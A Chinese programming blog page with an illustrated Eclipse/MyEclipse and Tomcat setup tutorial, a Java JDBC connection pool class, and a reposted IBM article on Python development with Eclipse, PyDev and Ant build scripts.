posts - 189,comments - 115,trackbacks - 0
          J2EE配置
          ?發表于 2005-5-19 22:17:12

          在Eclipse中用myEclipse進行開發
          Eclipse 學習筆記


          lnboy @ delphibbs 本人原創,未經本人允許,請勿在其它地方以賺取論壇積分等目的來進行轉載
          需要打包好的myeclipse.rar,請與我聯系。

          1.先下載Eclipse:
          主頁:
          http://www.eclipse.org/
          下載頁面:
          http://www.eclipse.org/downloads/index.php
          主程序下載:
          http://download2.eclipse.org/downloads/drops/R-2.1.2-200311030802/eclipse-SDK-2.1.2-win32.zip
          中文語言包下載:
          http://download2.eclipse.org/downloads/drops/L-2.1.x%20Translations-200307021300/eclipse2.1.1-SDK-win-LanguagePackFeature.zip
          注意:后面將用到Tomcat5做為例子演示,建議安裝Tomcat5或者Tomcat4,并且要用到j2sdk,建議先安裝j2sdk。
          2.下載myEclipse插件
          http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_020604.exe (這個是支持Eclipse2.X版本的)
          http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_030604.exe (這個是支持Eclipse3.X版本的)

          3.解壓eclipse-SDK-2.1.2-win32.zip到一個目錄,我是解壓到D:\program\eclipse了。
          然后運行D:\program\eclipse\eclipse.exe,等Eclipse的自動安裝完畢。然后再關閉Eclipse。
          4.解壓eclipse2.1.1-SDK-win-LanguagePackFeature.zip到D:\program\eclipse\下,將自動覆蓋D:\program\eclipse\plugins和D:\program\eclipse\features下的一些文件。

          5.再運行D:\program\eclipse\eclipse.exe,進行更新。更新完成,并自動重新啟動Eclipse之后,再關閉Eclipse。


          2003-12-6 21:50:00? ?
          ?2003-12-6 21:52:49? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:53:21? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:53:59? ? 安裝myEclipse

          6.安裝myEclipse。運行EnterpriseWorkbenchInstaller_020604.exe,先點“next”,再接受協議,再點“next”,選擇好Eclipse的目錄之后,再點“next”,選擇myEclipse的安裝目錄之后,繼續“next”,再“next”->"install"->“next”->"done"。到此完成myEclipse的安裝了。

          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:54:39? ?

          7.運行D:\program\eclipse\eclipse.exe,同樣,也將檢測到更新。同上面操作一樣,先確定,然后再重新啟動Eclipse。

          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:55:23? ?

          8.主菜單->窗口->首選項->java->已安裝的jre,點添加。

          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:55:42? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:56:13? ?

          9.主菜單->窗口->首選項->myEclipse->subscription,填寫注冊信息進行注冊,不然就只能夠用30天。

          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:57:07? ? 10.配置Tomcat。
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:57:34? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:58:27? ?

          11.下面開始新建個webapp項目來試試。主菜單->文件->新建->項目->j2ee-> ?

          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:58:46? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:59:12? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:59:39? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 21:59:57? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:00:30? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:00:53? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:01:16? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:01:42? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:02:04? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:02:49? ? 12.開始進行發布設置。
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:03:11? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:03:35? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:04:01? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:05:02? ? 12.啟動web服務器。
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:05:25? ?
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">
          ?
          ?2003-12-6 22:05:59? ? 12.查看運行結果。
          500)this.width=500" border=0 pop="點擊在新窗口查看原始圖片">?
          posted @ 2006-03-25 20:47 MEYE 閱讀(331) | 評論 (0)編輯 收藏
          一個很不錯的數據庫連接池實現,備份之
          ?

          一個很不錯的數據庫連接池實現,備份之

          import java.sql.*;
          import java.io.*;
          import java.util.*;
          public class DBConnectionManager {

          ??private static int clients = 0;
          ??private static DBConnectionManager instance;
          ??private Vector drivers = new Vector();
          ??private PrintWriter log;
          ??private Hashtable pools = new Hashtable();


          ??public DBConnectionManager() {
          ????init();
          ??}
          ??private void log(String msg) {
          ????log.println(new java.util.Date() + ": " + msg);
          ??}

          ??/**
          ??* 將文本信息與異常寫入日志文件
          ??*/
          ??private void log(Throwable e, String msg) {
          ????log.println(new java.util.Date() + ": " + msg);
          ????e.printStackTrace(log);
          ??}

          ??public static synchronized??DBConnectionManager getInstance() {
          ????if (instance == null) {
          ??????instance = new DBConnectionManager();
          ????}
          ????clients++;
          ????return instance;
          ??}
          ??private void init() {
          ????InputStream is = getClass().getResourceAsStream("/db.properties");
          ????Properties dbProps = new Properties();
          ????try {
          ??????dbProps.load(is);
          ????}
          ????catch (Exception e) {
          ????????System.err.println("Can not read the properties file. " +
          ????????"Make sure db.properties is in the CLASSPATH");
          ????????return;
          ????}
          ????loadDrivers(dbProps);
          ????createPools(dbProps);
          ??}
          ??public void freeConnection(String name, Connection con) {
          ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
          ????if (pool != null) {
          ??????pool.freeConnection(con);
          ????}
          ??}
          ??public Connection getConnection(String name) {
          ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
          ????if (pool != null) {
          ??????return pool.getConnection();
          ????}
          ????return null;
          ??}
          ??public Connection getConnection(String name, long time) {
          ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
          ????if (pool != null) {
          ??????return pool.getConnection(time);
          ????}
          ????return null;
          ??}
          ??public synchronized void release() {
          ????// 等待直到最后一個客戶程序調用
          ????if (--clients != 0)
          ????{
          ??????return;
          ????}
          ????Enumeration allPools = pools.elements();
          ????while (allPools.hasMoreElements())
          ????{
          ??????DBConnectionPool pool = (DBConnectionPool)allPools.nextElement();
          ??????pool.release();
          ????}
          ????Enumeration allDrivers = drivers.elements();
          ????while (allDrivers.hasMoreElements())
          ????{
          ??????Driver driver = (Driver) allDrivers.nextElement();
          ??????try {
          ????????DriverManager.deregisterDriver(driver);
          ????????log("撤銷JDBC驅動程序 " + driver.getClass().getName()+"的注冊");
          ??????}
          ??????catch (SQLException e) {
          ??????log(e, "無法撤銷下列JDBC驅動程序的注冊: " + driver.getClass().getName());
          ??????}
          ????}
          ??}


          /*
          drivers=sun.jdbc.odbc.JdbcOdbcDriver jdbc.idbDriver

          logfile=D:\\user\\src\\java\\DBConnectionManager\\log.txt

          idb.url=jdbc:idb:c:\\local\\javawebserver1.1\\db\\db.prp

          idb.maxconn=2

          access.url=jdbc:odbc:demo

          access.user=demo

          access.password=demopw

          */
          ??private void loadDrivers(Properties props) {
          ????String driverClasses = props.getProperty("drivers");
          ????StringTokenizer st = new StringTokenizer(driverClasses);
          ????while (st.hasMoreElements()) {
          ??????String driverClassName = st.nextToken().trim();
          ??????try {
          ????????Driver driver = (Driver)
          ??????????Class.forName(driverClassName).newInstance();
          ????????DriverManager.registerDriver(driver);
          ????????drivers.addElement(driver);
          ?????//???Log.log("Registered JDBC driver " + driverClassName);
          ??????}
          ??????catch (Exception e) {
          ??????//??Log.log("Can not register JDBC driver: " + driverClassName + ", Exception: " + e.toString()));
          ??????}
          ????}
          ??}
          ??private void createPools(Properties props) {
          ????Enumeration propNames = props.propertyNames();
          ????while (propNames.hasMoreElements())
          ????{
          ??????String name = (String) propNames.nextElement();
          ??????if (name.endsWith(".url"))
          ??????{
          ????????String poolName = name.substring(0, name.lastIndexOf("."));
          ????????String url = props.getProperty(poolName + ".url");
          ????????if (url == null) {
          ???????//???Log.log("No URL specified for " + poolName);
          ??????????continue;
          ????????}
          ????????String user = props.getProperty(poolName + ".user");
          ????????String password = props.getProperty(poolName + ".password");
          ????????String maxconn = props.getProperty(poolName + ".maxconn", "0");
          ????????int max;
          ????????try {
          ??????????max = Integer.valueOf(maxconn).intValue();
          ????????}
          ????????catch (NumberFormatException e) {
          ??????//????Log.log("Invalid maxconn value " + maxconn + " for " +???poolName);
          ??????????max = 0;
          ????????}
          ????????DBConnectionPool pool =
          ??????????new DBConnectionPool(poolName, url, user, password, max);
          ????????pools.put(poolName, pool);
          ??????//??Log.log("Initialized pool " + poolName);
          ??????}
          ????}
          ??}

          ??class DBConnectionPool {
          ????private int checkedOut;
          ????private Vector freeConnections = new Vector();
          ????private int maxConn;
          ????private String name;
          ????private String password;
          ????private String URL;
          ????private String user;

          ????/**
          ????* 創建新的連接池
          ????*
          ????* @param name 連接池名字
          ????* @param URL 數據庫的JDBC URL
          ????* @param user 數據庫帳號,或 null
          ????* @param password 密碼,或 null
          ????* @param maxConn 此連接池允許建立的最大連接數
          ????*/
          ????public DBConnectionPool(String name, String URL, String user
          ????????, String password,???int maxConn)
          ????{
          ??????this.name = name;
          ??????this.URL = URL;
          ??????this.user = user;
          ??????this.password = password;
          ??????this.maxConn = maxConn;
          ????}

          ??/**
          ??* 將不再使用的連接返回給連接池
          ??*
          ??* @param con 客戶程序釋放的連接
          ??*/
          ????public synchronized void freeConnection(Connection con) {
          ????// 將指定連接加入到向量末尾
          ??????freeConnections.addElement(con);
          ??????checkedOut--;
          ??????notifyAll();
          ????}

          ????/**
          ?????* 從連接池獲得一個可用連接.如沒有空閑的連接且當前連接數小于最大連接
          ?????* 數限制,則創建新連接.如原來登記為可用的連接不再有效,則從向量刪除之,
          ?????* 然后遞歸調用自己以嘗試新的可用連接.
          ?????*/
          ????public synchronized Connection getConnection()
          ????{
          ??????Connection con = null;
          ??????if (freeConnections.size() > 0)
          ??????{
          ??????// 獲取向量中第一個可用連接
          ????????con = (Connection) freeConnections.firstElement();
          ????????freeConnections.removeElementAt(0);
          ????????try {
          ??????????if (con.isClosed())
          ??????????{
          ????????????log("從連接池" + name+"刪除一個無效連接");
          ????????????// 遞歸調用自己,嘗試再次獲取可用連接
          ????????????con = getConnection();
          ??????????}
          ????????}
          ????????catch (SQLException e)
          ????????{
          ??????????log("從連接池" + name+"刪除一個無效連接");
          ??????????// 遞歸調用自己,嘗試再次獲取可用連接
          ??????????con = getConnection();
          ????????}
          ??????}
          ??????else if (maxConn == 0 || checkedOut < maxConn)
          ??????{
          ????????con = newConnection();
          ??????}
          ??????if (con != null) {
          ????????checkedOut++;
          ??????}
          ??????return con;
          ????}

          ??/**
          ??* 從連接池獲取可用連接.可以指定客戶程序能夠等待的最長時間
          ??* 參見前一個getConnection()方法.
          ??*
          ??* @param timeout 以毫秒計的等待時間限制
          ??*/
          ????public synchronized Connection getConnection(long timeout)
          ????{
          ??????long startTime = new java.util.Date().getTime();
          ??????Connection con;
          ??????while ((con = getConnection()) == null)
          ??????{
          ????????try {
          ??????????wait(timeout);
          ????????}
          ????????catch (InterruptedException e) {}
          ????????if ((new java.util.Date().getTime() - startTime) >= timeout)
          ????????{
          ????????// wait()返回的原因是超時
          ??????????return null;
          ????????}
          ??????}
          ??????return con;
          ????}

          ??/**
          ??* 關閉所有連接
          ??*/
          ????public synchronized void release()
          ????{
          ??????Enumeration allConnections = freeConnections.elements();
          ??????while (allConnections.hasMoreElements())
          ??????{
          ????????Connection con = (Connection) allConnections.nextElement();
          ????????try {
          ????????con.close();
          ??????????log("關閉連接池" + name+"中的一個連接");
          ????????}
          ????????catch (SQLException e) {
          ??????????log(e, "無法關閉連接池" + name+"中的連接");
          ????????}
          ??????}
          ??????freeConnections.removeAllElements();
          ????}

          ??/**
          ??* 創建新的連接
          ??*/
          ????private Connection newConnection()
          ????{
          ??????Connection con = null;
          ??????try {
          ????????if (user == null) {
          ??????????con = DriverManager.getConnection(URL);
          ????????}
          ????????else {
          ??????????con = DriverManager.getConnection(URL, user, password);
          ????????}
          ????????log("連接池" + name+"創建一個新的連接");
          ??????}
          ??????catch (SQLException e) {
          ????????log(e, "無法創建下列URL的連接: " + URL);
          ????????return null;
          ??????}
          ??????return con;
          ????}
          ??}
          }

          posted @ 2006-03-25 20:28 MEYE 閱讀(346) | 評論 (0)編輯 收藏
          用?Eclipse?和?Ant?進行?Python?開發(轉自IBM)
            用 Eclipse IDE 和 Apache Ant 構建工具進行 Python 開發

          級別: 中級

          Ron Smith
          負責人, RPS Technologies, Inc
          2004 年 6 月

          Python 是一種非常靈活強大的動態腳本編程語言,具有完整的面向對象特性。眾多的支持者指出,Python 語言與其他語言相比能更快更有效地表達出他們的意圖。但是從 Java 技術? 或 Microsoft? .NET 剛剛轉到 Python 的人會發現,功能豐富而精致的 IDE 和開發工具都不見了。那些開發人員可以從他們熟悉的 Java 開發工具中找到解決方案。本文著重介紹了如何使用基于 Java 技術的流行開發工具 Eclipse 和 Ant 進行 Python 開發。

          簡介
          多年以來, Java 語言和 Python 陣營之間一直存在大量的異花授粉現象。在這方面作出突出表率的可能是 Jython。這是一個純粹用 Java 實現的 Python 運行時環境。按照這一說法,您將研究如何用 Eclipse IDE 和 Ant 構建與部署工具實現 Python 開發。Eclipse 和 Ant 是非常流行的工具,它們特性豐富、可擴展性強、而且開放源代碼;Python 也具有相同的品質。PyDev 和 PyAntTasks 分別是 Eclipse 和 Ant 的擴展,有了它們就可能用這些 Java 工具開發 Python。本文從下載安裝所需的工具與擴展開始講起。為了解釋如何在 Python 開發中使用 Eclipse 和 Ant,我將用實際的 Python 代碼例子讀取 RSS 資源。

          本文不會涉及 Eclipse、Ant、Python 的細節。有關這些話題的深入討論,請參閱 參考資料 一節中的鏈接。

          Python 支持情況
          本文用到的軟件都在 CPython 2.3 下測試過。除了幾個異常情況之外,應該也能在 Jython 中運行。特別需要指出,PyDev 調試器目前不支持 Jython。另一個區別是通過 Jython 執行的腳本在從 PyDev 中運行之后就轉入交互模式,這樣就必須手動殺死。PyDev 編輯器與 Jython 的源代碼兼容,Python Ant 任務除 py-doc 任務之外也和 Jython 兼容。

          使用 Eclipse 進行 Python 開發

          Eclipse 概述
          Eclipse 是一個 Java 技術集成開發環境,由 IBM 開發,并開放其源代碼。它是 IBM 商業軟件 WebSphere Application Development 環境以及其他多種工具的基礎。Eclipse 的開發社區非常活躍,他們不僅開發 Eclipse 本身,還開發大量的插件供 Eclipse 使用。有關 Eclispe 和 Eclipse 插件的 Web 站點,請參閱 參考資料 一節中的鏈接。盡管從傳統上講 Eclipse 是一種 Java 開發工具,但是一些插件的存在使得在 Eclipse 中開發其他語言的程序成為可能,如 C/C++、Python 和 Perl。

          在 Eclipse 中,源代碼被組織到項目(project)中。項目可以加載、卸載和導入。Eclipse 用戶界面的結構劃分為視圖(View)與編輯器(Editor)。視圖與編輯器的例子包括:源代碼大綱視圖、Java 源代碼編輯器、Python 源代碼編輯器和文件系統導航視圖。Eclipse 用戶界面中最關鍵的隱含概念就是 視角(perspective)。視角是通常在執行某種類型活動時一起使用的一組視圖。Eclipse 中的標準視角包括:Debug、Java Browsing、Java、Java Type Hierarchy、Plug-in Development、CVS Repository Exploring、Resource 和 Install/Update。目前還不存在單獨的 Python 視角。在進行 Python 開發時,我通常使用 Resource 視角和 Debug 視角

          安裝 PyDev
          首先,從 Eclipse Web 站點上下載 Eclipse(請參閱 參考資料 一節中的鏈接),并根據您的平臺,按照下面的安裝指南安裝 Eclipse:

          Eclipse 的更新機制使 PyDev 插件的安裝更加容易。從 Eclipse 中選擇 Help > Software Updates > Update Manager,啟動 Install/Update 視角。在左下角的 Feature Updates 視圖中,將 PyDev 插件更新站點作為新的 Site Bookmark 添加到“Sites to Visit”文件夾下。Eclipse 的 PyDev 更新站點 URL 為 http://pydev.sf.net/updates/。現在,Feature Updates 編輯器中應該顯示出“PyDev”這一特性。在 Feature Updates 編輯器中,展開 PyDev > Other,選擇其中顯示的 PyDev 特性(至少應該是 0.4.1)。然后選擇 “Install Now”安裝該特性。Eclipse 將下載 PyDev 插件,并將其安裝到 Eclipse 中。

          導入樣例項目
          為訪問本項目中使用的樣例代碼,可先下載 zip 文件(請參閱 參考資料一節),在文件系統中展開該 zip 文件,然后將其中的項目導入 Eclipse。導入項目的方法是先切換到 Resource 視角,選擇 File > Import,再選擇“Existing Project into Workspace”,然后選擇您展開 zip 文件的位置。這時,Navigator 視圖中應該出現 feedParserTest 項目。

          樣例項目中已經包含了 Fead Parser 通用資源解析庫,該庫按 Python 開放源代碼許可協議發布。有關 Feed Parser 項目 Web 網站的鏈接,請參閱 參考資料 一節。

          PyDev 漫游
          現在開始學習如何通過已導入的項目了解 PyDev 的特性。PyDev 正處于開發過程中,但已經是非常高效的 Python 開發環境。現在的 PyDev 主要包括以下特性:

          • 包含 Python 語法高亮顯示特性的 Python 編輯器。
          • 進行 Python 語法分析,并在 Python 編輯器和 Tasks 視圖中高亮顯示錯誤。
          • 可將制表符轉換成空格的選項。
          • Outline 視圖顯示導入的庫、類以及函數。
          • 終端視圖中的 Python 堆棧跟蹤信息可超鏈接到源代碼中。
          • 源代碼內部的超鏈接;同一模塊內的導入和函數調用可通過超鏈接進行導航。
          • 從 Navigator 視圖中運行 Python 腳本的能力。
          • 調試器支持斷點、代碼單步執行以及顯示變量的值。

          PyDev 選項窗口
          通過 Window > Preferences,并選擇 PyDev(請參閱圖 1),便可訪問 PyDev 選項。第一組選項可以改變 PyDev 在源代碼中處理制表符的方式,還可以改變語法元素的顏色。

          圖 1. PyDev 選項窗口

          設置 Python 解釋器
          PyDev Debug 選項可以選擇 Python 解釋器,供執行 Python 代碼時使用。如果 PyDev 無法找到 Python 解釋器,或者想使用別的解釋器,可在此設置(請參閱圖 2)。

          圖 2. PyDev Debug 選項

          處理源代碼
          我的大部分 Python 工作都是在 Resource 視角中完成的。使用方法是先切換到 Resource 視角,然后在左上角的 Navigator 視圖中雙擊 feedParserTest/src/feedparserTest/FeedparserTest.py 文件。Python 編輯器打開該文件,對 Python 語法進行解析,完成設置顏色和語法檢查的工作(請參閱圖 3)。

          圖 3. Python 編輯器

          如果源代碼中有任何錯誤,則顯示在右下角的 Tasks 視圖中顯示出來。雙擊 Tasks 視圖中的錯誤,便可找到那條討厭的代碼行。

          Outline 視圖在左下角,其中用一種便于瀏覽的結構顯示出當前正在編輯的文件。導入的庫、類、函數全都顯示出來,通過雙擊 Outline 視圖中的項目,便可以實現導航。PyDev 在編輯 Python 文件的過程中對齊進行預先解析的工作,同時更新 Outline 視圖,執行語法檢查,并用不同顏色顯示語法元素。

          編輯器的特性
          PyDev 0.4 版在 Python 源代碼編輯器中為函數和導入庫加入了超鏈接的特性。如果在越過某項導入或函數調用(必須在 PYTHONPATH 目錄中)的同時按下 Control 鍵,PyDev 就能顯示出一個超鏈接,這樣您可以在導入庫或函數的源代碼之間導航。請注意,為了在您自己的源代碼中跨模塊使用該特性(從一個模塊鏈接到另一個模塊),必須修改 PYTHONPATH 環境變量,在其中加入這些模塊,這樣 PyDev 就可以找到它們了。

          人們已經開始將一些優異的源代碼編輯特性加入最新版本的 PyDev 中,其中就包括代碼塊注釋與取消注釋,以及代碼左右移位(請參閱圖 4)。

          圖 4. PyDev 編輯器的其他特性

          運行 Python 腳本
          如果不能執行代碼,那么 IDE 也不是太有用。為執行 Python 代碼,可從 Navigator 視圖中選擇 feedparser.py 文件,用右鍵點擊,然后選擇 Python > Run。隨后會顯示 Python 的啟動配置窗口(請參閱圖 5)。

          圖 5. Python 啟動配置

          Python 啟動配置窗口中可以定義腳本執行的當前目錄,傳遞給腳本的參數,以及用哪一個 Python 解釋器運行腳本。feedparser.py 以一個 RSS URL 作為參數,所以可在參數字段中填入 URL,如 http://www.ibm.com/developerworks/news/dw_dwtp.rss。其余的缺省定義就可以了,所以單擊 Run

          腳本執行時輸出信息顯示在 Console 窗口中。如果有錯誤出現,Console 窗口中將顯示堆棧跟蹤信息,其中的每一行都可以通過超鏈接找到 Python 源代碼。

          Python 調試器
          Python 調試器是最近才加入 PyDev 插件中的。要使用調試器,可在 Python 編輯器中想中斷的代碼行的左側點擊,設置斷點。在圖 6 中,我在 feedparser.py 的 1830 行處設置了斷點。然后在 Navigator 視圖中選擇這個 Python 模塊,點擊右鍵,選擇“Python > Debug...”。這時將顯示與前面相似的一個啟動配置窗口。點擊 Debug 進入 Debug 視角,同時啟動調試器。

          圖 6. Python 調試器

          左上角的 Debug 視圖顯示當前正在執行的進程和線程,右上角的 Variables 視圖顯示當前運行域中的所有變量,Python 編輯器會顯示調試器目前停在哪條語句上,同時所有的輸出信息都顯示與 Console 視圖中。調試器可以通過 Debug 視圖底部的按鈕或 Run 菜單進行控制。

          其他 Eclipse 特性
          Eclipse 及其插件還具備很多其他的特性,可應用于 Python 開發中,如 XML 編輯器、UML 編輯器(不過大多數是以 Java 代碼為中心),還有資源控制方面的插件。目前 Eclipse 插件站點上列出的插件幾乎有 500 個(請參閱 參考資料 一節中的相關鏈接)。我將著重介紹一個對很多 Python 開發人員都特別有用的插件:Eclipse 發行版中已經包括的 CVS 插件,不過不會討論細節內容。

          Eclipse 中包括特性豐富的集成 CVS:

          • 支持 SSH、pserver、ext 等連接方法。
          • 基本 CVS 命令的支持:檢出項目、提交變更、更新、向.cvsignore 中增加文件或模式等等。
          • 文件合并查看。
          • 在源代碼控制中實現對文件不同之處的比較。
          • 項目同步,并用資料庫顯示出刪除和新增的內容。

          還可以通過提供其他插件來支持其他源代碼控制系統,如 ClearCase、Subversion、Visual SourceSafe 等。

          在 Eclipse 中使用 Python 的交互式 shell
          Python 解釋器支持 Python 代碼的交互式執行。這種方式對于調試一段代碼是非常有用的,因為不用把代碼放進 Python 腳本中并執行腳本了。同時,Python 解釋器的交互模式可以很容易地集成到 Eclipse 中。

          要增加對 Python 交互式執行的支持,可通過 Run > External Tools > External Tools 增加一個 External Tool 啟動程序。這時將打開 External Tool 啟動程序配置窗口。在 Configurations 列表中選擇“Program”,然后點擊“New”創建一個新的配置。將該配置命名為諸如 "pythonInteractive" 之類,然后設置 Location,令其指向您的 Python 解釋器,接著,將 "-i" 作為唯一的參數傳遞進來(請參閱圖 7)。

          在 Common 選項卡下,選中復選框,使該配置在 External Tools 收藏夾菜單中顯示出來。

          圖 7. Python 交互方式配置

          要運行剛剛在 Eclipse 中創建的啟動器,可選擇 Run > External Tools > pythonInterpreter。Python 解釋器的輸出顯示在 Console 視圖中。Console 中可輸入 Python 命令并執行,就像從命令行中執行 Python 一樣。為導入并在交互模式下使用模塊,您需要將模塊的位置增加到 PYTHONPATH 環境變量中。

          在 Eclipse Console 中執行 Python 與用命令行執行的不同之處在于,無法啟用命令歷史特性(通過向上和向下的方向鍵實現),因為 Eclipse Console 會自己解釋這些鍵。

          在 Python 開發中使用 Ant
          Python 會在它需要的時候自動編譯模塊。這意味著 Python 開發人員通常不必顯式地對模塊進行編輯。即便如此,有時候手工編譯 Python 代碼還是很有用的,同時,構建和部署過程中還有很多其他方面的內容可以自動化實現。這也正是構建工具的用武之地。

          我將著重介紹來自 Java 編程世界中的 Apache Ant,這個工具可大量應用在 Python 開發中。Apache Ant 是 Java 編程領域內事實上的標準構建工具。它更加輕便,與 Java 技術結合得更好,可用于替代其他的構建工具。Ant 可以在支持 Java 編程語言的任何一種平臺上運行。盡管我們需要的大多數構建特性 Ant 都已經提供了,但如果要將 Ant 用做 Python 構建工具,還是需要有一些關鍵的與 Python 相關的特性。我已經開發了若干定制的 Ant 插件(用 Ant 的行話講叫做 task),可提供構建 Python 時需要的特定于 Python 的特性。

          Ant 用 XML 作為描述構建的格式。build 文件組織為需要執行的目標。每一個目標都可能依賴于其他的目標。Ant 將根據您所請求執行的目標,以及一組依賴目標,來執行任何需要的目標。每一個目標都可能包含任意數量的 Ant 任務,而由 Ant 任務實際執行目標的工作。Ant 有很多內置的任務,可以完成諸如編譯 Java 代碼、生成文檔、操縱文件和目錄,同時第三方又提供了很多附加的任務。

          安裝 Python Ant 庫
          我將通過為 feedparser 項目創建構建腳本來介紹 Ant 構建腳本和 Python Ant 任務的基礎知識。為了使用 Python Ant 任務,您需要下載并安裝包含這些任務的 Java 庫。首先,從 參考資料 一節中列出的 URL 中下載 Python Ant 任務庫(pyAntTasks.jar)。然后,將 JAR 文件拷貝到 Eclipse 的 Ant 插件下的 lib 目錄中。這應該是 Eclipse 安裝目錄下形如 plugins/org.apache.ant_1.5.3 的子目錄。

          Python Ant 任務庫拷貝完畢之后,必須在 Eclipse 中啟用庫。選擇 Window > Preferences,然后選擇 Ant > Runtime。將 Ant Home Entries 展開,其中可看到 Eclipse 使用的庫(JAR 文件)列表。選擇“ Add JAR”,然后從 Eclipse Ant 插件的 lib 目錄中選擇 Python Ant JAR 文件,就可以將剛剛拷貝的 Python Ant JAR 文件加入庫列表中(請參閱圖 8)。

          圖 8. 向 classpath 中加入 Python Ant 任務

          您現在應該能夠創建和運行包含 Python 任務的 Ant 構建腳本了。下面進入構建腳本內部!

          創建構建腳本
          我將逐步介紹如何創建一個簡單的 Python 構建腳本(請參閱清單 1)。完整的構建腳本 build.xml 可從 feedParserTest 項目的頂層目錄中找到。

          清單 1. 用于編譯 Python 源代碼的構建腳本片斷
          																												
          
          <project name="feedParserTest" default="compile">
          
            <taskdef resource="pyAntTasks.properties"/>
          
            <property name="src.dir" value="src"/>
          
            <target name="compile">
              <py-compile dir="${src.dir}" pythonpath="${src.dir}" optimize="0"/>
            </target>
          
          </project>
          
          																										

          先介紹一個只編譯 Python 樣例代碼的構建腳本。<project> 標簽總是構建腳本的根標簽。<taskdef> 標簽聲明在整個構建腳本中使用的 Python 任務。在構建腳本的底部,可以定義 compile 目標。目標元素內部是 compile 運行期間執行的任務。特別的是 py-compile 任務,它負責從 src 目錄開始,編譯所有的 Python 代碼。該任務會遞歸遍歷所有的子目錄,并編譯所有的 Python 模塊。腳本中沒有采用將 src 目錄硬編碼到調用之處的方式,而是在構建腳本中定義了稱為 src.dir 的屬性。然后,在需要使用這個目錄名的時候,就可以通過 ${src.dir} 來引用。

          要運行構建腳本,可從 Eclipse 中打開它。Eclipse 具有內置的 Ant 構建腳本編輯和瀏覽功能。Outline 視圖可以顯示出構建腳本的結構。在 Navigator 視圖中,選擇該構建腳本,用右鍵點擊,然后選擇“Run Ant...”。選擇 compile 目標,然后點擊“Run”。構建腳本執行過程中的輸出信息應該顯示在 Console 視圖中,表示運行成功。

          Python 腳本執行任務
          接下來將向構建腳本中加入新的目標,用于執行 Python 腳本(請參閱清單 2)。在本例中,可以將 RSS URL 作為參數來執行 feedparser.py 腳本。

          清單 2. 運行 feedparser 腳本的構建腳本片斷
          																												
            <target name="run.feedparser" depends="compile">
              <py-run script="src/feedparser/feedparser.py" pythonpath="${src.dir}" optimize="0">
                <arg value="http://www.ibm.com/developerworks/news/dw_dwtp.rss">
              </py-run>
            </target>
          
          
          																										

          上面的目標以 RSS URL 為唯一的參數來執行 feedparser.py 腳本。該目標聲明為依賴于 compile 目標,所以后者將首先執行。實際上這一步并不是很必要,因為 Python 會根據需要自動編譯源代碼。如果您執行 run.feedparser 目標,就會運行 feedparser.py 腳本,同時將 RSS 的內容輸出到 Console 中。

          Python 文檔任務
          Python 的 API 文檔編制機制與 Java 技術中的 JavaDoc 系統類似,稱為 PyDoc。在構建腳本中加入清單 3 中列出的如下 XML 片斷,可為所有的 Python 模塊生成 PyDoc。

          清單 3. 用于生成 PyDoc 的構建腳本片斷
          																												
          
           1:  <property name="pydoc.dir" value="pydoc"/>
           2:
           3:  <target name="init">
           4:    <mkdir dir="${pydoc.dir}"/>
           5:  </target>
           6:
           7:  <target name="pydoc" depends="init,compile">
           8:    <py-doc pythonpath="${src.dir}" destdir="${pydoc.dir}">
           9:      <fileset dir="${src.dir}">
          10:        <include name="**/*"/>
          11:      </fileset>
          12:    </py-doc>
          13:  </target>
          
          
          																										

          從對上述 pydoc 目標的解析可看出,第 7 行聲明了目標名稱,并指出它依賴于 initcompile 目標。這意味著在運行 pydoc 目標之前,Ant 必須保證 initcompile 目標已經運行,如果沒有,則首先運行這兩個目標。

          pydoc 目標所依賴的 init 目標在第 3 至第 5 行定義。 init 目標僅僅創建了一個存放 PyDoc API 文檔文件的目錄。如前所述,要為所生成文檔的保存位置定義一個屬性,名為 pydoc.dir。

          第 8 行開始是 py-doc 任務。如前所述,您傳入生成 pydoc 過程中所使用的 PYTHONPATHdestdir 屬性告訴 py-doc 任務將生成的 HTML 文檔輸出到何處。

